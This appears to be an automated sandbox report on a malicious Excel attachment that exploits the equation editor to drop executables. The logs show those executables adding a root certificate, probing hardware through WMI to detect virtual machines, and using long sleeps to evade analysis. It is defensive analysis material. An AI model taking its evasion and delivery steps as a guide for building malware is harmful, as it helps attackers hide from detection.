Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PURCHASE ORDER & SAMPLE IMAGE.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR70DB.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@8/12@9/3

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_004021AA CoCreateInstance,

5_2_004021AA

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

5_2_00404AB5

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Jump to behavior

Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx

OLE indicator, Workbook stream: true

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx

Static file information: File size 1299605 > 1048576

Source:

Source: PURCHASE ORDER & SAMPLE IMAGE.xlsx

Initial sample: OLE indicators vbamacros = False

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00402959 push ecx; ret

6_2_0040296C

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00407856 __decode_pointer,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,__encode_pointer,InterlockedExchange,FreeLibrary,

6_2_00407856

Source: C:\Users\user\AppData\Roaming\word.exe	File created: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\word.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-233

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00401000

6_2_00401000

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2028	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 1452	Thread sleep time: -1500000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -7800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -99953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -39362s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -59706s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -80094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -99985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -80111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -80235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -79752s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -59628s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -40345s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -39535s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe TID: 2520	Thread sleep time: -60423s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_6-11019

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Window / User API: threadDelayed 9222

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_00401000

6_2_00401000

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe

Code function: 6_2_002407DA GetSystemInfo,

6_2_002407DA

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405D74
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_0040699E FindFirstFileW,FindClose,	5_2_0040699E
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_0040290B FindFirstFileW,	5_2_0040290B

Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 99953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 39362	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 59706	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 80094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 99985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 80111	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 80235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 79752	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 59628	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 40345	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 39535	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lyebkz.exe	Thread delayed: delay time: 60423	Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

API call chain: ExitProcess graph end node
